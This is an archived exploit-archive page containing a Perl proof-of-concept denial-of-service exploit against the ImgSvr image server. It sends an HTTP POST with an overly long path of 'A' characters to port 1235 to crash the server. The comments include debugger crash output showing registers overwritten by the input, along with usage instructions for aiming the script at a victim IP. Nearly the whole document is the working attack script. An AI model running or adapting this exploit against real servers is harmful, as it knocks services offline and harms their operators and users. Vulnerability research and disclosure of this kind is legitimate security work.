AOH :: HP Unsorted I :: B06-3436.HTM

Imgsvr dos exploit by n00b



imgsvr dos exploit by n00b
imgsvr dos exploit by n00b



I have provided the fillowing proof of concept..=0D
Afected-softwear=0D
Credit's :n00b.=0D
=0D
http://freshmeat.net/projects/imgsvr/=0D 
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Exploit,=0D
=0D
#!/usr/bin/perl=0D
##Proof of concept.=0D
#################################################################################=0D
#Credit's:to n00b for finding this bug.=0D
#=0D
#Afected :ImgSvr.exe=0D
# =0D
#Download softwear: http://freshmeat.net/projects/imgsvr/=0D 
#=0D
#Crash the server with overly long http post request..=0D
#=0D
#Main site of affected product. http://freshmeat.net/projects/imgsvr/=0D 
#Sending an overly long post request will crash the server with the following.=0D
#Acsess violation..=0D
#Tested :win xp sp1..=0D
#=0D
#error:500 Server closed connection without sending any data back=0D
#this is a error msg will receive on successful exploitation.=0D
#################################################################################=0D
##(e7c.168): Access violation - code c0000005 (first chance)=0D
# First chance exceptions are reported before any exception handling.=0D
# This exception may be expected and handled.=0D
# eax=41414142 ebx=00000000 ecx=00000000 edx=00000002 esi=41414141 edi=00000000=0D
# eip=006bf546 esp=022ab1c4 ebp=022ab628 iopl=0         nv up ei pl nz na po nc=0D
# cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00010206=0D
# *** WARNING: Unable to verify checksum for C:\Program Files\Imgsvr\imgsvr.exe=0D
# *** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Imgsvr\imgsvr.exe=0D
# imgsvr+0x2bf546:=0D
# 006bf546 881c30           mov     [eax+esi],bl            ds:0023:82828283=??=0D
###################################################################################=0D
#=0D
# Usage: imageserv.pl change to your ip 127.0.0.1 < vic ip port 1235 =0D
###################################################################################=0D
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=0D
use LWP::UserAgent;=0D
  $ua = LWP::UserAgent->new;=0D
=0D
my $req = HTTP::Request->new(POST => 'http://127.0.0.1:1235/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');=0D 
=0D
$req->content_type('application/x-www-form-urlencoded');=0D
$req->content('match=www&errors=0');=0D
=0D
my $res = $ua->request($req);=0D
print $res->as_string;

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